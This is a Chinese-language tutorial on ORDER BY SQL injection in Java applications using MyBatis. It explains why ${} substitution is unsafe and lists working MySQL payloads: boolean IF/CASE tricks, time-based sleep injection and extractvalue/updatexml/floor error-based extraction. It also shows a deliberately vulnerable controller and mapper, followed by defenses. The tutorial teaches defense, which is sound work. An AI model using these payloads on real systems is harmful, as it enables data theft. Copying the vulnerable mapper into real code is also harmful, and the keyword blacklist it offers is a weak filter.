关于Java中order by注入详解
字数 901 2025-08-11 08:36:02

Java中Order By注入详解

一、Order By注入概述

Order By注入是SQL注入的一种特殊形式,主要发生在使用动态排序功能的SQL查询中。由于Order By子句后通常跟随的是列名而非值,使用预编译参数化查询时会导致语法错误(列名被引号包裹),因此开发者往往不得不使用字符串拼接方式构建Order By子句,从而产生安全漏洞。

二、MyBatis框架中的Order By注入

在MyBatis框架中,存在两种参数处理方式:

  1. #{}:预编译处理,MyBatis会将其转换为参数化查询
  2. ${}:直接字符串替换,存在SQL注入风险

Order By场景下直接使用#{}会导致语法错误,例如:

select * from users order by #{field}  -- 会被编译为 order by 'id'(错误)

因此开发者常被迫使用:

<select id="orderBy" resultType="com.example.User">
    select * from users order by ${field} ${sort}
</select>

三、Order By注入利用技术

1. 已知字段名的利用方式

当知道表字段名时,可使用以下技术:

(1) IF条件函数

select * from users order by if(1=1,id,user);  -- 按id排序
select * from users order by if(1=2,id,user);  -- 按user排序

(2) CASE WHEN语句

select * from users order by (case when (1=1) then user else id end);
select * from users order by (case when (1=2) then user else id end);

(3) 其他函数

select * from users order by ifnull(null,user);
select * from users order by rand(1=1);

2. 未知字段名的利用方式

当不知道表字段名时,可使用以下技术:

(1) 强制报错技术

select * from users order by if(1=1,1,(select 1 from information_schema.tables));
select * from users order by if(1=2,1,(select 1 from information_schema.tables));

(2) 正则表达式报错

select * from users order by (select 1 regexp if(1=1,1,0x00));

(3) 延时注入

select * from users order by (select if((ascii(substr(user(),1,1))<0),1,sleep(2)));

注意:延时注入时实际延时时间是sleep(x)乘以表内列的字段数量

3. 报错注入技术

当服务端显示SQL错误信息时,可使用:

(1) extractvalue函数

select * from users order by extractvalue(1,(select concat(0x7e,user())));

(2) updatexml函数

select * from users order by updatexml(1,(select concat(0x7e,user())),1);

(3) floor报错注入

select * from users order by (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

四、防御方案

1. 白名单校验

最安全的做法是限制可排序字段:

if(!"id".equals(field) && !"username".equals(field)) {
    field = "id"; // 默认值
}

2. 安全过滤函数

public static boolean checkSql(String content) {
    String[] black_list = {"and", "or", "exec", "insert", "select", "delete", 
                          "update", "count", "drop", "chr", "mid", "master", 
                          "truncate", "char", "declare"};
    for (String s : black_list) {
        if (content.toLowerCase().contains(s)) {
            return true;
        }
    }
    return false;
}

3. 其他防御措施

  • 使用ORM框架提供的安全排序方法
  • 实现字段映射机制,前端传排序代号而非直接字段名
  • 结合WAF进行防护

五、实际案例

@GetMapping("/vul/order")
public List<User> orderBy(String field, String sort) {
    log.info("[vul] mybaits: order by " + field + " " + sort);
    return userMapper.orderBy(field, sort);
}

对应Mapper.xml:

<select id="orderBy" resultType="com.best.hello.entity.User">
    select * from users order by ${field} ${sort}
</select>

攻击者可构造恶意参数进行注入测试。

六、总结

Order By注入是SQL注入中较为特殊的一种,由于预编译在Order By场景下的局限性,开发者需要特别注意:

  1. 避免直接使用${}进行字符串拼接
  2. 实现严格的白名单校验或安全过滤
  3. 了解各种Order By注入技术以便更好地防御
  4. 预编译不是万能解决方案,需要结合其他安全措施

安全开发应当从代码层面深入理解各种漏洞原理,而不仅限于靶场环境的复现。

Java中Order By注入详解 一、Order By注入概述 Order By注入是SQL注入的一种特殊形式,主要发生在使用动态排序功能的SQL查询中。由于Order By子句后通常跟随的是列名而非值,使用预编译参数化查询时会导致语法错误(列名被引号包裹),因此开发者往往不得不使用字符串拼接方式构建Order By子句,从而产生安全漏洞。 二、MyBatis框架中的Order By注入 在MyBatis框架中,存在两种参数处理方式: #{} :预编译处理,MyBatis会将其转换为参数化查询 ${} :直接字符串替换,存在SQL注入风险 Order By场景下直接使用#{}会导致语法错误,例如: 因此开发者常被迫使用: 三、Order By注入利用技术 1. 已知字段名的利用方式 当知道表字段名时,可使用以下技术: (1) IF条件函数 (2) CASE WHEN语句 (3) 其他函数 2. 未知字段名的利用方式 当不知道表字段名时,可使用以下技术: (1) 强制报错技术 (2) 正则表达式报错 (3) 延时注入 注意 :延时注入时实际延时时间是sleep(x)乘以表内列的字段数量 3. 报错注入技术 当服务端显示SQL错误信息时,可使用: (1) extractvalue函数 (2) updatexml函数 (3) floor报错注入 四、防御方案 1. 白名单校验 最安全的做法是限制可排序字段: 2. 安全过滤函数 3. 其他防御措施 使用ORM框架提供的安全排序方法 实现字段映射机制,前端传排序代号而非直接字段名 结合WAF进行防护 五、实际案例 对应Mapper.xml: 攻击者可构造恶意参数进行注入测试。 六、总结 Order By注入是SQL注入中较为特殊的一种,由于预编译在Order By场景下的局限性,开发者需要特别注意: 避免直接使用${}进行字符串拼接 实现严格的白名单校验或安全过滤 了解各种Order By注入技术以便更好地防御 预编译不是万能解决方案,需要结合其他安全措施 安全开发应当从代码层面深入理解各种漏洞原理,而不仅限于靶场环境的复现。